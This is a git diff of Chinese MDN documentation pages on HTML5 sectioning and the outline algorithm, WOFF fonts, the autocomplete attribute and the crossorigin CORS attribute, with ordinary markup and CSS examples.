+ +

更具有普遍意义的是HTML5使得章节和标题特性更精确。使得文档大纲变的可预测,浏览器使用后也可以提高用户体验。

+ +

HTML5 的大纲算法

+ +

定义节段

+ +

 {{HTMLElement("body")}} 元素中的所有内容都是节段中的一部分。节段在 HTML5 中是可以嵌套的。{{HTMLElement("body")}} 元素定义了主节段,基于主节段,可以显式或隐式定义各个子节段的划分。显式定义的节段是通过{{HTMLElement("body")}},  {{HTMLElement("section")}},  {{HTMLElement("article")}},  {{HTMLElement("aside")}}和 {{HTMLElement("nav")}} 这些标记中的内容。 

+ +
注意:每个section可以有自己的标题结构。因此,即使是一个嵌套的section也能有{{HTMLElement("h1")}}. 具体查看 Defining Headings in HTML5.
+ +

Example:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <section>
+    <h1>Introduction</h1>
+    <p>In this section, we discuss the lesser known forest elephants.</p>
+  </section>
+  <section>
+    <h1>Habitat</h1>
+    <p>Forest elephants do not live in trees but among them.</p>
+  </section>
+  <aside>
+    <p>advertising block</p>
+  </aside>
+</section>
+<footer>
+  <p>(c) 2010 The Example company</p>
+</footer>
+ +

这个HTML片段定义了两个顶级节段:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <section>
+    <h1>Introduction</h1>
+    <p>In this section, we discuss the lesser known forest elephants.</p>
+  </section>
+  <section>
+    <h1>Habitat</h1>
+    <p>Forest elephants do not live in trees but among them.</p>
+  </section>
+  <aside>
+    <p>advertising block</p>
+  </aside>
+</section>
+
+<footer>
+  <p>(c) 2010 The Example company</p>
+</footer>
+ +

第一个节段有三个子节段:

+ +
<section>
+  <h1>Forest elephants</h1>
+
+  <section>
+    <h1>Introduction</h1>
+    <p>In this section, we discuss the lesser known forest elephants.</p>
+  </section>
+
+  <section>
+    <h1>Habitat</h1>
+    <p>Forest elephants do not live in trees but among them.</p>
+  </section>
+
+  <aside>
+    <p>advertising block</p>
+  </aside>
+</section>
+
+<footer>
+  <p>(c) 2010 The Example company</p>
+</footer>
+ +

上面的片段形成了如下的大纲:

+ +
1. Forest elephants
+   1.1 Introduction
+   1.2 Habitat
+   1.3 Section (aside)
+
+ +

在HTML5中定义标题

+ +

当 HTML 节段元素定义文档结构时,文档大纲也需要有用的标题。基本规则是简单的:第一个 HTML 标题元素({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}之一)定义了当前节段的标题

+ +

标题元素通过在元素里的名字加上数字来分级标题元素,{{HTMLElement("h1")}} 元素有最高级别,{{HTMLElement("h6")}} 有最低级别。相关的级别只在节段中起作用;节段的结构定义了大纲,而不是节段的标题。例如,下面的代码:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <section>
+    <h2>Habitat</h2>
+    <p>Forest elephants do not live in trees but among them.
+        ...this subsection continues...
+  </section>
+</section>
+<section>
+  <h3>Mongolian gerbils</h3>
+  <p>In this section, we discuss the famous mongolian gerbils.
+     ...this section continues...
+</section>
+ +

形成了下面的大纲:

+ +
1. Forest elephants
+   1.1 Habitat
+2. Mongolian gerbils
+ +

注意标题元素的级别(例子中的第一个顶层节段的 {{HTMLElement("h1")}},子节段中的{{HTMLElement("h2")}} 和第二个顶层节段中的{{HTMLElement("h3")}})并不重要。(任何级别可以用作显示定义的节段的标题,虽然这种做法并不推荐。)

+ +

隐式分节

+ +

因为HTML5分节元素并不强制性定义大纲,为了与现有的占主导地位的HTML4保持兼容,有个方式来定义节段而不需要分节元素。这种方式就是隐式分节。

+ +

HTML标题元素 ({{HTMLElement("h1")}} 到 {{HTMLElement("h6")}}) 定义了一个新的,隐式的节段,当其不是父节段第一个标题时。这种隐式放置节段的方式通过在父节点中与之前标题的相对级别来定义。如果比之前的标题级别更低,那么在节段里开始新的隐式子节段。如代码所示:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <h3 class="implicit subsection">Habitat</h3>
+  <p>Forest elephants do not live in trees but among them.
+    ...this subsection continues...
+</section>
+ +

形成如下的大纲:

+ +
1. Forest elephants
+   1.1 Habitat (implicitly defined by the h3 element)
+ +

如果与前面标题的级别相同,那么闭合前面的节段(可能是显式标记的节段!)并开始新的同一级别的隐式节段:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <h1 class="implicit section">Mongolian gerbils</h1>
+  <p>Mongolian gerbils are cute little mammals.
+    ...this section continues...
+</section>
+ +

形成如下的大纲:

+ +
1. Forest elephants
+2. Mongolian gerbils (implicitly defined by the h1 element, which closed the previous section at the same time)
+ +

如果比之前标题的级别更高,那么关闭之前的节段并开始新的这个更高级别的隐式节段:

+ +
<body>
+  <h1>Mammals</h1>
+  <h2>Whales</h2>
+  <p>In this section, we discuss the swimming whales.
+    ...this section continues...
+  <section>
+    <h3>Forest elephants</h3>
+    <p>In this section, we discuss the lesser known forest elephants.
+      ...this section continues...
+    <h3>Mongolian gerbils</h3>
+      <p>Hordes of gerbils have spread their range far beyond Mongolia.
+         ...this subsection continues...
+    <h2>Reptiles</h2>
+      <p>Reptiles are animals with cold blood.
+          ...this subsection continues...
+  </section>
+</body>
+ +

形成如下的大纲:

+ +
1. Mammals
+   1.1 Whales (implicitly defined by the h2 element)
+   1.2 Forest elephants (explicitly defined by the section element)
+   1.3 Mongolian gerbils (implicitly defined by the h3 element, which closes the previous section at the same time)
+2. Reptiles (implicitly defined by the h2 element, which closes the previous section at the same time)
+ +

这并不是一眼就可以通过标题标记就可以看出来的大纲。为了使标记容易理解,用显式的标记开始和闭合节段以及匹配标题等级与期望的嵌套节段等级。然而,HTML5规范并不需要这样。如果你发现浏览器以不期望的方式渲染文档,检查是否有隐式的节段没有闭合。

+ +

作为经验法则,标题级别应该与节段嵌套级别相匹配,但为了方便节段在多个文档中的重用,也存在例外的情况。例如,一个节段可能会存储在内容管理系统中并在运行时组装为完整的文档。在这种情况下,好的实践便是使用{{HTMLElement("h1")}}作为可重用部分的最高标题级别。可重用节段的嵌套级别应该取决于将使用该节段的文档的节段层级。显式节段标记仍然在这种情况下有用处。

+ +

分节根

+ +

分节根是一个HTML元素,这个元素可以拥有自己的大纲,但是元素内部的节段和标题对其祖先的大纲没有贡献。除了文档的逻辑分节根{{HTMLElement("body")}}元素,这些元素经常在页面中引入外部内容:{{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} 和{{HTMLElement("td")}}。

+ +

Example:

+ +
<section>
+  <h1>Forest elephants</h1>
+  <section>
+    <h2>Introduction</h2>
+    <p>In this section, we discuss the lesser known forest elephants</p>
+  </section>
+  <section>
+    <h2>Habitat</h2>
+    <p>Forest elephants do not live in trees but among them. Let's
+       look what scientists are saying in "<cite>The Forest Elephant in Borneo</cite>":</p>
+    <blockquote>
+       <h1>Borneo</h1>
+       <p>The forest element lives in Borneo...</p>
+    </blockquote>
+  </section>
+</section>
+
+ +

例子形成如下的大纲:

+ +
1. Forest elephants
+   1.1 Introduction
+   1.2 Habitat
+ +

这个大纲并不包含 {{HTMLElement("blockquote")}} 元素的内部大纲。{{HTMLElement("blockquote")}} 元素是一个外部引用,是一个分节根并隔离了他内部的大纲

+ +

大纲之外的节段

+ +

HTML5引入了2个新的元素,用来定义那些不属于web文档主要大纲中的节段。

+ +
    +
  1. HTML 侧边分节元素 ({{HTMLElement("aside")}}) 定义了这样的节段, 虽然是主要的分节元素, 但并不属于主要的文档流, 就像解释栏或广告栏. aside元素内部有自己的大纲,但并不计入文档大纲中
  2. +
  3. HTML 导航分节元素 ({{HTMLElement("nav")}}) 定义的节段包含了很多导航links。文档中可以有好几个这样的元素,比如文档内部的链接,就像目录,和链接到其他站点的导航links。这些链接并不是主文档流和文档大纲中的一部分 ,并且能够特别让屏幕浏览器和类似的辅助技术从一开始就不渲染该标记里的内容。
  4. +
+ +

页眉和页脚

+ +

HTML5引入了两个可以用于标记节段的页眉和页脚的新元素。

+ +
    +
  1. HTML 头部分节元素 ({{HTMLElement("header")}}) 定义了页面的页眉,通常会包含logo和站点名称以及水平菜单(如果有的话)。或是一个节段的头部,可能包含了节段的标题和作者名字等。{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}}可以拥有它们自己的{{HTMLElement("header")}}。虽然名字是header,但是不一定是在页面的开始。
  2. +
  3. HTML 页脚元素 ({{HTMLElement("footer")}}) 定义了页脚, 通常会包含版权信息和法律声明以及一些其他链接。或是节段的页脚,可能包含了节段的发布数据、许可声明等。{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} 可以拥有它们自己的 {{HTMLElement("footer")}}。同样,其不一定是在页面的底部出现。
  4. +
+ +

分节元素中的地址和发表时间

+ +

文档的作者想要发布一些联系信息,例如作者的名字和地址。HTML4通过{{HTMLElement("address")}}元素来表示,HTML5则拓展了这个元素。

+ +

一个文档可以由不同作者的不同节段组成。一个从其他作者而不是文档作者写的节段用{{HTMLElement("article")}}元素定义。因此, {{HTMLElement("address")}} 元素连接到距离最近的{{HTMLElement("body")}}或{{HTMLElement("article")}} 祖先元素。

+ +

同样的,新的HTML5标记 {{HTMLElement("time")}}元素,使用{{htmlattrxref("pubdate", "time")}}布尔值,表示整个文档的发布时间,分别给文章,与其最近的{{HTMLElement("body")}}元素或{{HTMLElement("article")}} 元素的祖先元素相关。

+ +

在不支持HTML5的浏览器器中使用HTML5

+ +

分节和标题元素应该在大部分的不支持HTML5的浏览器中工作。尽管不支持,但不必使用特殊的DOM接口。仅仅只需要一个特殊的CSS样式,因为未知元素默认会样式化为display:inline:

+ +
section, article, aside, footer, header, nav, hgroup {
+  display:block;
+}
+
+
+ +

当然web开发者可以改变上面的样式结构,但是要记住的是在不支持HTML5浏览器中,这些元素默认的样式是与预期的样式是不同的。还要注意的是{{HTMLElement("time")}}元素并没有在这些元素中,因为其样式在不支持HTML5和兼容HTML5的浏览器中的表现是相同的。

+ +

然而这种方法有自己的局限性,因为一些浏览器并不允许样式化不支持的元素。这种情形出现在ie8及ie8以前的浏览器中,需要一个特殊脚本才行:

+ +
<!--[if lt IE 9]>
+  <script>
+    document.createElement("header" );
+    document.createElement("footer" );
+    document.createElement("section");
+    document.createElement("aside"  );
+    document.createElement("nav"    );
+    document.createElement("article");
+    document.createElement("hgroup" );
+    document.createElement("time"   );
+  </script>
+<![endif]-->
+ +

这段脚本表示,当在ie8(及ie8以前)的情况下,应该允许脚本的运行以合适地展示HTML5分节和标题元素。如果禁用了脚本,则不会显示,可能会出问题因为这些元素定义整个页面的结构。为了预防这种情况,我们需要加上{{HTMLElement("noscript")}}标签。

+ +
<noscript>
+   <strong>Warning !</strong>
+   Because your browser does not support HTML5, some elements are simulated using JScript.
+   Unfortunately your browser has disabled scripting. Please enable it in order to display this page.
+</noscript>
+ +

于是形成了如下的代码,允许HTML5节段和标题元素在不支持HTML5的浏览器中展示,即使是ie8(ie8以下版本)也在禁用脚本的情况下有了合适的反馈。

+ +
<!--[if lt IE 9]>
+  <script>
+    document.createElement("header" );
+    document.createElement("footer" );
+    document.createElement("section");
+    document.createElement("aside"  );
+    document.createElement("nav"    );
+    document.createElement("article");
+    document.createElement("hgroup" );
+    document.createElement("time"   );
+  </script>
+  <noscript>
+     <strong>Warning !</strong>
+     Because your browser does not support HTML5, some elements are simulated using JScript.
+     Unfortunately your browser has disabled scripting. Please enable it in order to display this page.
+  </noscript>
+<![endif]-->
+ +

总结

+ +

HTML5中新的节段和标题标签带来了以标准的方法来描述web文档的结构和大纲。其为人们使用HTML5浏览器和需要结构来帮助他们理解页面带来了一个很大的优势。例如,人们需要一些辅助技术的帮助。这些新的语义元素使用简单,几乎没有负担,也可以在不支持HTML5的浏览器中工作。因此,他们应该被广泛使用。

+ +
{{HTML5ArticleTOC()}}
diff --git a/files/zh-cn/web/guide/introduction_to_web_development/index.html b/files/zh-cn/web/guide/introduction_to_web_development/index.html new file mode 100644 index 0000000000..9178cb39f5 --- /dev/null +++ b/files/zh-cn/web/guide/introduction_to_web_development/index.html @@ -0,0 +1,28 @@ +--- +title: Web开发介绍 +slug: Web_Development/Introduction_to_Web_development +translation_of: Web/Guide/Introduction_to_Web_development +--- +

不论你是刚开始Web开发,还是想学习Web开发,这些链接都能帮助你。至少,立刻我们就能在这儿看到很多链接。

+
+ Note: This page is obviously a stub; we need to generate content here.
+ + + + + + + +
+

文档主题

+

暂无文章,欢迎补充。

+
+

资源

+
+
+ w3schools
+
+ 免费Web开发教程,从HTML入门到进阶Web技术。
+
+
+

 

diff --git a/files/zh-cn/web/guide/woff/index.html b/files/zh-cn/web/guide/woff/index.html new file mode 100644 index 0000000000..a91795c672 --- /dev/null +++ b/files/zh-cn/web/guide/woff/index.html @@ -0,0 +1,61 @@ +--- +title: 网页开放字体格式(WOFF) +slug: WOFF +tags: + - WOFF + - 字体 +translation_of: Web/Guide/WOFF +--- +

WOFF(网页开放字体格式) 是由 Mozilla 与 Type Supply, LettError 及其他组织协同开发的一种新的网页字体格式。它使用了一种压缩版本,类似于 TrueType, OpenType, Open Font 所采用的 SFNT 结构,不过还添加了共用数据及用户私有数据结构,其中包括了自定义空间,其允许厂家和经销商提供许可证。

+ +

WOFF 有以下三点优势:

+ +
    +
  1. 字体采用压缩格式,相对于使用不压缩的 TrueType, OpenType 的网站,将占用更少的带宽,获得更快的加载速度。
  2. +
  3. 许多字体经销商并不愿意将 TrueType 或 OpenType 的许可证颁发给网站,他们更愿意颁发 WOFF 的许可证。这对于网站开发者来说将是一个福音。
  4. +
  5. 无论是收费还是免费的浏览器厂家都喜欢 WOFF 格式,因此它很可能成为未来的主流与跨平台字体格式。
  6. +
+ +

使用 WOFF

+ +

通过 {{ cssxref("@font-face") }} 这个 CSS 属性来为你的网站使用 WOFF 字体。它的工作方式与 OpenType 和 TrueType 十分相似,除了因使用压缩技术而使你的内容更快地加载。

+ +

相关工具

+ + + +

文档

+ + + + + + + + + + + + + + + + + + + + + +
文档状态注释
{{SpecName('WOFF2.0', '', '')}}{{Spec2('WOFF2.0')}}新压缩算法
{{SpecName('WOFF1.0', '', '')}}{{Spec2('WOFF1.0')}}原始规格
+ +

浏览器兼容

+ +

{{Compat("css.at-rules.font-face")}}

+ +

参见

+ +
    +
  • {{ cssxref("@font-face") }} 
  • +
diff --git a/files/zh-cn/web/html/attributes/autocomplete/index.html b/files/zh-cn/web/html/attributes/autocomplete/index.html new file mode 100644 index 0000000000..af7452c6f7 --- /dev/null +++ b/files/zh-cn/web/html/attributes/autocomplete/index.html @@ -0,0 +1,258 @@ +--- +title: The HTML 自动完成属性 +slug: Web/HTML/Attributes/自动完成属性 +tags: + - HTML + - 参考 + - 地址 + - 密码 + - 属性 + - 用户名 + - 电话号码 + - 自动完成 + - 邮件地址 +translation_of: Web/HTML/Attributes/autocomplete +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

HTML autocomplete 属性可用于以文本或数字值作为输入的 {{HTMLElement("input")}} 元素 , {{HTMLElement("textarea")}} 元素, {{HTMLElement("select")}} 元素, 和{{HTMLElement("form")}} 元素。 autocomplete 允许web开发人员指定,如果有任何权限 {{Glossary("user agent")}} 必须提供填写表单字段值的自动帮助,并为浏览器提供关于字段中所期望的信息类型的指导。

+ +

建议值的来源通常取决于浏览器。 通常,值来自用户输入的过去值,但它们也可能来自预先配置的值。 例如,浏览器可能允许用户保存其姓名,地址,电话号码和电子邮件地址,以实现自动完成目的。 也许浏览器提供了保存加密的信用卡信息的功能,以便在身份验证过程后自动完成。

+ +

如果 {{HTMLElement("input")}}, {{HTMLElement("select")}} 或{{HTMLElement("textarea")}} 元素 没有 autocomplete 属性, t则该浏览器将使用该元素的表单的 autocomplete 属性所有者,它们可是元素的后代 {{HTMLElement("form")}} 元素 也可以是其  id  由元素{{htmlattrxref("form", "input")}} 属性指定的  <form>

+ +

有关更多信息,请参见 {{HTMLElement("form")}} 中的{{htmlattrxref("autocomplete", "form")}}  属性。

+ +
+

为了提供自动完成功能,用户代理可能需要<input>/<select>/<textarea> 元素才能:

+ +
    +
  1. 具有 name 和/或 id 属性
  2. +
  3. 成为 <form>  的后代
  4. +
  5. 具有 {{HTMLElement("input/submit", "submit")}} 按钮的表单
  6. +
+
+ +

价值

+ +
+
"off"
+
浏览器不允许为此字段自动输入或选择一个值。 文档或应用程序可能提供其自己的自动完成功能,或者出于安全方面的考虑,要求不要自动输入该字段的值。 +
注意: 在大多数现代浏览器中, autocomplete 设置为 "off" 不会阻止密码管理器询问用户是否要保存用户名和密码信息,或者自动在网站的登录表单中填写这些值。 请参阅 the autocomplete attribute and login fields.
+
+
"on"
+
允许浏览器自动完成输入。 没有提供有关该字段中期望的数据类型的指导,因此浏览器可以使用自己的判断。
+
"name"
+
该字段期望该值是一个人的全名。 通常首选使用“名称”而不是将名称分解为各个组成部分,因为这样可以避免处理各种各样的人类名称及其结构。 但是,如果需要将名称分解为各个组成部分,则可以使用以下自动完成值: +
+
"honorific-prefix"
+
前缀或标题,例如“ Mrs.”,“ Mr.”,“ Miss”,“ Ms.”,“ Dr.”或“ Mlle.”。
+
"given-name"
+
给定的(或“名字”)名称。
+
"additional-name"
+
中间名。
+
"family-name"
+
姓氏(或“姓氏”)。
+
"honorific-suffix"
+
后缀,例如 "Jr.", "B.Sc.", "PhD.", "MBASW", or "IV".
+
"nickname"
+
昵称或名称。
+
+
+
"email"
+
电子邮件地址。
+
"username"
+
用户名或帐户名。
+
"new-password"
+
新密码。 创建新帐户或更改密码时,应将其用于“输入新密码”或“确认新密码”字段,而不是通常出现的“输入当前密码”字段。 浏览器可以使用它来避免意外填写现有密码,并在创建安全密码时提供帮助(另请参见 Preventing autofilling with autocomplete="new-password").
+
"current-password"
+
用户的当前密码
+
"one-time-code"
+
用于验证用户身份的一次性代码。
+
"organization-title"
+
职务或组织内某人的职务,例如“高级技术作家”,“总裁”或“助理部队负责人”。
+
"organization"
+
公司或组织名称,例如“ Acme Widget Company”或“ American Girl Scouts of America”。
+
"street-address"
+
街道地址。 它可以是多行文本,应在第二个行政级别(通常是城市或城镇)内完全标识地址的位置,但不应包括城市名称,邮政编码或邮政编码或国家/地区名称。
+
"address-line1", "address-line2", "address-line3"
+
街道地址的每一行。 仅在还存在 "street-address" 的情况下,才应提供这些内容。.
+
"address-level4"
+
在具有四个级别的地址中,粒度最细的 {{anch("Administrative levels in addresses", "administrative level")}}。
+
"address-level3"
+
第三个 {{anch("Administrative levels in addresses", "administrative level")}}, 在具有至少三个管理级别的地址中。
+
"address-level2"
+
第二个 {{anch("Administrative levels in addresses", "administrative level")}}, 在地址中至少有两个。 在具有两个行政级别的国家/地区中,通常是地址所在的城市,城镇,村庄或其他地区。
+
"address-level1"
+
地址中的第一个 {{anch("Administrative levels in addresses", "administrative level")}} 。 通常是地址所在的省份。 在美国,这就是州。 在瑞士,行政区。 在英国,小镇。
+ “国家”
+
"country"
+
国家代码。
+
"country-name"
+
一个国家的名字。
+
"postal-code"
+
邮政编码(在美国,这是邮政编码)。
+
"cc-name"
+
打印在付款工具(例如信用卡)上或与之关联的全名。 通常,使用全名字段比将名称分成多个部分更可取。
+
"cc-given-name"
+
在信用卡之类的付款工具上给出的给定(名字)名称。
+
"cc-additional-name"
+
付款工具或信用卡上的中间名。
+
"cc-family-name"
+
信用卡上的姓氏。
+
"cc-number"
+
信用卡号码或其他标识付款方式的号码,例如帐号。
+
"cc-exp"
+
付款方式的到期日期,通常为“ 月份 / 年份”或“ 月份 / 年份”形式。
+
"cc-exp-month"
+
付款方式到期的月份。
+
"cc-exp-year"
+
付款方式到期的年份。.
+
"cc-csc"
+
付款工具的安全码; 在信用卡上,这是信用卡背面的3位数验证码。
+
"cc-type"
+
付款方式的类型(例如“ Visa”或“ Master Card”)。
+
"transaction-currency"
+
进行交易的货币。
+
"transaction-amount"
+
以 "transaction-currency" 指定的货币表示的金额,用于支付形式。
+
"language"
+
作为有效的 BCP 47 语言标记提供的首选语言。
+
"bday"
+
出生日期,作为完整日期。
+
"bday-day"
+
出生日期的月份中的一天。
+
"bday-month"
+
出生日期的月份。
+
"bday-year"
+
出生日期的年份。
+
"sex"
+
性别身份(例如“女性”,“法法芬”,“男性”),不带换行符的自由格式文本。
+
"tel"
+
+

完整的电话号码,包括国家/地区代码。 如果您需要将电话号码分为几个部分,则可以将以下值用于这些字段:

+ +
+
"tel-country-code"
+
国家/地区代码,例如美国,加拿大和北美其他地区以及加勒比海部分地区的“ 1”。
+
"tel-national"
+
不含国家/地区代码部分的完整电话号码,包括国家/地区内部前缀。 对于电话号码“ 1-855-555-6502”,该字段的值为“ 855-555-6502”。
+
"tel-area-code"
+
区号,如果适用,可应用任何国家或地区内部前缀。
+
"tel-local"
+
不带国家或地区代码的电话号码。 这可以进一步分为两部分,分别是具有交换号码的电话号码,然后是交换局中的号码。 对于电话号码“ 555-6502”, 对于“ 555”使用 "tel-local-prefix" ,对于"6502"使用  "tel-local-suffix" 。
+
+
+
"tel-extension"
+
电话号码中的电话分机代码,例如旅馆中的房间或套房号或公司中的办公室分机号。
+
"impp"
+
即时消息协议端点的URL,例如“ xmpp:username@example.net”。
+
"url"
+
URL,例如在给定表单中其他字段的上下文的情况下的主页或公司网站地址等。
+
"photo"
+
代表表单中其他字段中提供的个人,公司或联系信息的图像的URL。
+
+ +

有关更多详细信息,请参见 WHATWG 标准。 

+ +
+

注意: 与其他浏览器不同, autocomplete 属性还控制Firefox是否会跨页面加载保持— 是否在整个页面加载期间保持  <input> 元素, <textarea> 元素, 或整个 <form> 的动态禁用状态和(如果适用)动态检查状态。 持久性功能默认情况下处于启用状态。 将 autocomplete 属性的值设置为off 将禁用此功能。即使autocomplete 属性通常由于其type而不适用,也可以这样做。 参考 {{bug(654072)}}.

+
+ +

例子

+ +
<div>
+  <label for="cc-number">Enter your credit card number</label>
+  <input type="number" name="cc-number" id="cc-number" autocomplete="off">
+</div>
+ +

地址的行政级别

+ +

四个行政级别字段 (address-level1 到 address-level4) 以提高地址所在国家内的精确度的方式描述地址。每个国家都有自己的行政级别系统,在写地址时可以按不同的顺序排列。

+ +

address-level1 始终代表最广泛的行政区划;它是地址中除国家名之外最不特定的部分。

+ +

表单布局的灵活性

+ +

鉴于不同的国家/地区以不同的方式写出地址,每个字段都位于地址内的不同位置,甚至完全是不同的字段集和数量,因此,如果可能的话,您的站点能够切换到预期的布局会很有帮助 由您的用户在提供地址输入表格时给出,并给出地址所在的国家/地区。

+ +

变化

+ +

每个行政级别的使用方式因国家/地区而异。 以下是一些示例; 这并不是详尽的清单。

+ +

美国

+ +

美国境内的典型家庭住址如下所示:

+ +

大街432号
+ Exampleville CA 95555

+ +

在美国,地址中最不明确的部分是州,在这种情况下为“ CA”(美国邮政服务的正式缩写为“ California”)。 因此,address-level1 是状态,在这种情况下为“ CA”。

+ +

地址的倒数第二个特定部分是城市或城镇名称,因此在此示例地址中, address-level2 为“ Exampleville”。

+ +

美国地址不使用3级及更高级别。

+ +

英国

+ +

在英国,地址输入表单通常包含两个地址级别以及一个,两个或三个地址行,具体取决于地址。 完整的地址如下所示:

+ +

Frogmarch街103号
+ 上层包装
+ 苏塞克斯
+ TN99 8ZZ

+ +

地址级别为:

+ +
    +
  • address-level1: 在这种情况下,该县为“苏塞克斯”。
  • +
  • address-level2: 在这种情况下,城镇为“上层包装”。.
  • +
  • address-line1: 房屋/街道详情-“ Frogmarch 街道103号”
  • +
+ +

邮政编码是分开的。 请注意,您实际上可以仅使用邮政编码和 address-line1 在英国成功发送邮件, 因此它们应该是唯一的必填项,但通常人们会提供更多详细信息。

+ +

中国

+ +

中国可以使用多达三个行政级别:省,市和区。

+ +

技术指标

+ + + + + + + + + + + + + + + + + + + + + +
规格状态评论
{{SpecName('HTML5.2', "sec-forms.html#autofilling-form-controls-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML5.2')}}
{{SpecName('HTML WHATWG', "form-control-infrastructure.html#autofilling-form-controls:-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("html.global_attributes.autocomplete")}}

+ +

另请详见

+ +
    +
  • The {{htmlelement("input")}} 元素。
  • +
  • The {{htmlelement("select")}} 元素。
  • +
  • The {{htmlelement("textarea")}} 元素。
  • +
  • The {{htmlelement("form")}} 元素。
  • +
  • HTML 表单
  • +
  • 全球属性
  • +
diff --git a/files/zh-cn/web/html/attributes/crossorigin/index.html b/files/zh-cn/web/html/attributes/crossorigin/index.html new file mode 100644 index 0000000000..9beb44e652 --- /dev/null +++ b/files/zh-cn/web/html/attributes/crossorigin/index.html @@ -0,0 +1,155 @@ +--- +title: CORS settings attributes +slug: Web/HTML/CORS_settings_attributes +tags: + - Advanced + - CORS + - HTML5 + - Security + - anonymous + - cdn + - crossorigin= + - img &video + - script &link +translation_of: Web/HTML/Attributes/crossorigin +--- +

在HTML5中,一些 HTML 元素提供了对 CORS 的支持, 例如 {{ HTMLElement("audio") }}、{{ HTMLElement("img") }}、{{ HTMLElement("link") }}、{{ HTMLElement("script") }} 和 {{ HTMLElement("video") }} 均有一个跨域属性 (crossOrigin property),它允许你配置元素获取数据的 CORS 请求。 

+ +

The crossorigin content attribute on media elements is a CORS settings attribute.

+ +

这些属性是枚举的,并具有以下可能的值:

+ + + + + + + + + + + + + + + + + + + + +
关键字描述
anonymous对此元素的 CORS 请求将不设置凭据标志。
use-credentials对此元素的CORS请求将设置凭证标志;这意味着请求将提供凭据。
""设置一个空的值,如 crossorigincrossorigin="",和设置 anonymous 的效果一样。
+ +

默认情况下(即未指定 crossOrigin 属性时),CORS 根本不会使用。如 Terminology section of the CORS specification 中的描述,在非同源情况下,设置 "anonymous" 关键字将不会通过 cookies,客户端 SSL 证书或 HTTP 认证交换用户凭据。

+ +

即使是无效的关键字和空字符串也会被当作 anonymous 关键字使用。

+ +

示例:使用 crossorigin 的 script 元素

+ +

你可以使用下面的 {{HTMLElement("script")}} 元素告诉浏览器执行来自 https://example.com/example-framework.js 的脚本且不发送用户凭据。

+ +
<script src="https://example.com/example-framework.js" crossorigin="anonymous"></script>
+ +

示例:Webmanifest with credentials

+ +

在获取需要用户凭据的 manifest 时,属性值必须设置为 use-credentials。即使是同源的情况。

+ +
<link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials">
+ +

Specifications

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support13{{ CompatGeckoDesktop("8.0") }}11{{ CompatNo() }}{{ CompatVersionUnknown() }}
{{ HTMLElement("video")}}{{ CompatUnknown() }}{{ CompatGeckoDesktop("12.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("8.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}
{{ HTMLElement("video")}}{{ CompatUnknown() }}{{ CompatGeckoMobile("12.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

另请参阅

+ + diff --git "a/files/zh-cn/web/html/attributes/\350\207\252\345\212\250\345\256\214\346\210\220\345\261\236\346\200\247/index.html" "b/files/zh-cn/web/html/attributes/\350\207\252\345\212\250\345\256\214\346\210\220\345\261\236\346\200\247/index.html" deleted file mode 100644 index af7452c6f7..0000000000 --- "a/files/zh-cn/web/html/attributes/\350\207\252\345\212\250\345\256\214\346\210\220\345\261\236\346\200\247/index.html" +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: The HTML 自动完成属性 -slug: Web/HTML/Attributes/自动完成属性 -tags: - - HTML - - 参考 - - 地址 - - 密码 - - 属性 - - 用户名 - - 电话号码 - - 自动完成 - - 邮件地址 -translation_of: Web/HTML/Attributes/autocomplete ---- -
{{HTMLSidebar("Global_attributes")}}
- -

HTML autocomplete 属性可用于以文本或数字值作为输入的 {{HTMLElement("input")}} 元素 , {{HTMLElement("textarea")}} 元素, {{HTMLElement("select")}} 元素, 和{{HTMLElement("form")}} 元素。 autocomplete 允许web开发人员指定,如果有任何权限 {{Glossary("user agent")}} 必须提供填写表单字段值的自动帮助,并为浏览器提供关于字段中所期望的信息类型的指导。

- -

建议值的来源通常取决于浏览器。 通常,值来自用户输入的过去值,但它们也可能来自预先配置的值。 例如,浏览器可能允许用户保存其姓名,地址,电话号码和电子邮件地址,以实现自动完成目的。 也许浏览器提供了保存加密的信用卡信息的功能,以便在身份验证过程后自动完成。

- -

如果 {{HTMLElement("input")}}, {{HTMLElement("select")}} 或{{HTMLElement("textarea")}} 元素 没有 autocomplete 属性, t则该浏览器将使用该元素的表单的 autocomplete 属性所有者,它们可是元素的后代 {{HTMLElement("form")}} 元素 也可以是其  id  由元素{{htmlattrxref("form", "input")}} 属性指定的  <form>

- -

